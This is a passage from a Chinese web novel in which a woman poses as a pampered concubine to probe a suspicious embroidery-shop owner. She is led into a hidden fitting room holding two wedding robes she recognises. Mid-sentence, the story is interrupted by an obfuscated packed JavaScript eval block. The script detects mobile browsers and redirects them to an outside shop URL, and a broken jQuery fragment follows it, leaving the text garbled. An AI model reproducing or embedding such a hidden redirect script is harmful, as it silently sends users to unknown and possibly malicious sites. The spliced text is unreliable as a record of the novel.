“嗯!毕竟这可是妾~此生的头等大事呢!”
顾怜玉娇俏地仰着脸,活脱脱像个被猫奴养得极好的猫主儿,感受到一丝宠爱就会更加骄傲。
说罢,她又懒懒看向崔明位置:“那匹料子的钱我可已经付过了,既然能做样式,你说接下来要如何?”
崔明脸上的恭敬也换成了谄媚,双手把香囊捧在手心里,献宝似的呈献到顾怜玉面前;
“多谢夫人给小店这机会,要不你先对比看看,那香囊上的花样子是否跟您要的一致?”
这次崔明是真心让她检查,毕竟贵客满意日后的生意不会少,若是事先没有核对好做错了,得罪了人反倒得不偿失。
可那花样子顾怜玉哪见过,别说花样子的样式,就连喜服料子她也没见过半眼啊。
这下,顾怜玉倒是有点为难了。
“嗯~~”
她捏着嗓子意味深长地吟了一声,葱白的两指拾起那包香囊左瞧瞧右看看。
忽然,那双漂亮的桃花眼含满柔情春水,长睫扑闪扑闪的看向萧晟鸣,不发一言却满满的撒娇意味,真是勾的人心头乱颤。
萧晟鸣轻咳两声:“好啦,别眨巴了,你的事我自然放在心尖尖上。”
他也是后来接手的案子,尸体被发现时虽然还能分辨出几分样式,但他也不在场自然也不知晓。
于是他借着哄人,自然而然接过香囊顺手递给郑延下:“你且替我,细细收好。”
郑延下迟疑半分,看着香囊秒回:“是家主,没问题。”
“没问题”三个字,他特意加重了几分语气。
此刻心怀鬼胎的几人,站在一条线上反倒生出默契,不过是转眸的瞬间,也都听明白话中含义。
顾怜玉丝滑接话,傲娇的口吻:“老板没听着嘛?花样子没错,你还愣着做什么?”
“好嘞夫人,只不过……”
崔明小声咂嘴,脸上故意摆出为难的神色,“只不过这料子和花样子都是顶顶上乘的,做起来极其耗费人力物力,整套做下来,价格怕是有些……”
激将法?这时候还有激将法?
崔明话都没说完,顾怜玉便已经猜到了,她扬手啪的一声拍在柜面案台上。
“崔老板是吧?您是觉着我不上乘?还是觉着我给不起你银子?”
“贵夫人莫动气,莫动气,鄙人当然不是这意思,我是……”
崔明故意语气吞吞吐吐,眼神看着顾怜玉却忍不住往萧晟鸣的方向瞄。
毕竟顾怜玉再得宠,也不过是个妾室,再次一点有可能是个外室。
这样的情况他见多了,真是到给银子的时候还是家主说了算,这会子他虽然能确定顾怜玉得宠,但这家主却没放话撒银,他当然还要再添火探探口。
“二郎!妾~就是想要这个嘛!”
顾怜玉故意顺着崔明的视线看过去,然后佯装生气,一跺脚背过身去肩膀一抽一抽的好生楚楚可怜;
“就是想要这个嘛~!”
“好好好!买啊!买啊!买买买!”
一刹那,萧晟鸣真有点代入了;
他三步并作两步,着急忙慌的想上前哄顾怜玉;
到了身边看到顾怜玉使眼色,才又继续接戏:“我都说了,今日你最大,就是黄金万两我也为你花得起!”
顾怜玉一秒破涕为笑:“真的?”
“真真的,好啦,”萧晟鸣接过话茬后,转身冷目俯瞰崔明,“今日一切开销我都担得起,莫要磨磨蹭蹭了,按照我家怜儿的要求尽管做就是了。”
“是是是,夫人和贵人这般恩爱,真是羡煞旁人了!”
放下戒备只顾着溜须拍马的崔明,都没注意到此刻郑延下的脸色,比锅炉里的灰炭还要郁闷发黑。
“还不快做!哼!”
顾怜玉故意冲崔明撒脾气;
“好嘞,那夫人劳您玉步移向内室,让铺子里的绣娘先给您量量尺寸。”
崔明弯腰做了个请的手势,指向方才内屋的方位,只是他指的是旁边一扇紧闭的门。
经常会用到的量衣室,怎么会是紧闭状态?
而且现在又是白日,怎么看都像是有问题的样子。
看见这一幕的萧晟鸣也隐隐不安,他往前一步主动开口提议;
“阿郑,侍女今日表现不好守在外面,你与我一同陪怜儿进去量尺寸吧。”
他思量的很全面,毕竟明面上顾怜玉还是人家的妻子,涉及到身量尺寸这样的隐私,还是带上这个挂牌丈夫吧,多少算是给人家留最后的体面。
只可惜郑延都来不及应,就被赔笑的崔明又是作揖又是弯腰地拦住了;
“贵人,您进去倒是可以,您的随从不大方便哈。”
“嗯?”
萧晟鸣居高临下瞥一眼崔明,脸色冷得像冰,“这是何意,有什么问题?”
“贵人误会了!”
崔明佝偻着作揖,腰都快弯成虾米形状;
“像贵夫人这样的贵客,我们一般都会贴着肌肤量尺寸,也是为了做生意的诚意,届时会送夫人几件称心又增情的衣裳,除您之外实在不便他人在场哈。”
这话一出,就连仅有一次欢爱经历的萧晟鸣,也听明白了;
他甚至隐隐忆起那日……
不敢想,那是每每想起都让他喉间燥热的程度。
“诶呀诶呀!你这店家~”
她用手帕挡挡眼瞄郑延下的脸色,不夸张地说,比调色盘都要精彩。
这要真不带他把萧晟鸣带进去,回到客栈之后,会受到怎样的怒火烧身,顾怜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631919|206398||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玉可不想去赌。
所以即便顾怜玉知道那是什么衣裳,脸上也臊得慌,但她不能表现出反感,只能扮作欲拒还迎的勾栏妾室撒娇发嗲;
“既如此,二郎也莫要进去~好让妾在大婚夜给你个惊喜~!”
“好好好,听你的。”
萧晟鸣顺杆子下坡,“多谢崔老板了,麻烦您加紧吧。”
“是是是,夫人随我来。”
崔明整颗心都被银子蒙蔽,没再起疑;
他猫腰引着顾怜玉走到房门口,这扇木门却没有能推开的地方。
“夫人您稍等。”
崔明直起腰,掌心按在一旁的翠绿玉石上;
呼呼啦啦的声音响起来,面前这扇木门竟然缓缓移动了,不一会竟然全都隐进旁边的墙壁之中。
一个绣坊,为什么会用机关门?
崔明倒是机灵,先开口解答了顾怜玉的心声;
“贵人,夫人,这是专门为尊贵客人打造的量衣室,贵人放心这里隐秘又安全。”
再贵的人,只要不是官,也没必要这么大阵……
正思忖的顾怜玉,不经意扫过萧晟鸣的腰间,一瞬间就恍然明白过来;
今日萧晟鸣特意换了郑延的衣服,他的腰身肌肉更紧实,郑延下特意替他配了赤黑色条腰饰。
问题就出在那腰饰尾处,上面用同色丝线绣着大理寺的花纹。
顾怜玉不禁多看一眼崔明,内心感叹这个人实在精明!
她娇嗲两声银铃笑,故作惊讶欢喜姿态;
“呀!这扇门很有意思,二郎你待会问问这个崔老板看看出自哪里,咱们在小家也安置一个玩玩。”
做戏做全套,这话也是幌子。
为的是日后即便这崔明打听到大理寺,大理寺少卿郑延有外室是事实,也刚好能替今日之事打掩护。
至于样貌她并不担心,在这样小地方的人,最多也是上面有人攀附照顾,至于官员的真实容貌,说不准一个也没真见过,不然也不会没认出郑延下。
萧晟鸣没明白,也应:“好,待会我来问。”
果然,崔明立刻热络接话:“贵人放心,若是喜欢,在下找人给您置办都成!”
顾怜玉点了点头,款步迈向室内;
一抬头,眼前的景象让她出乎意料地怔愣住。
里面的处处垂着粉色、白色的纱幔,右侧是各式各样的房事增趣的衣物,单单瞧一眼就能让寻常妇人脸皮发烫;
左侧却板正干净,甚至还放着棋盘茶具,不知道还以为是大家闺秀品茶对弈的地方,和右侧的情靡乱欲形成强烈反差。
正前方不远处立着两个檀木衣撑,上面各展示着一件极其奢华重工的喜服;
重点是,这两件喜袍的主人顾怜玉都见过。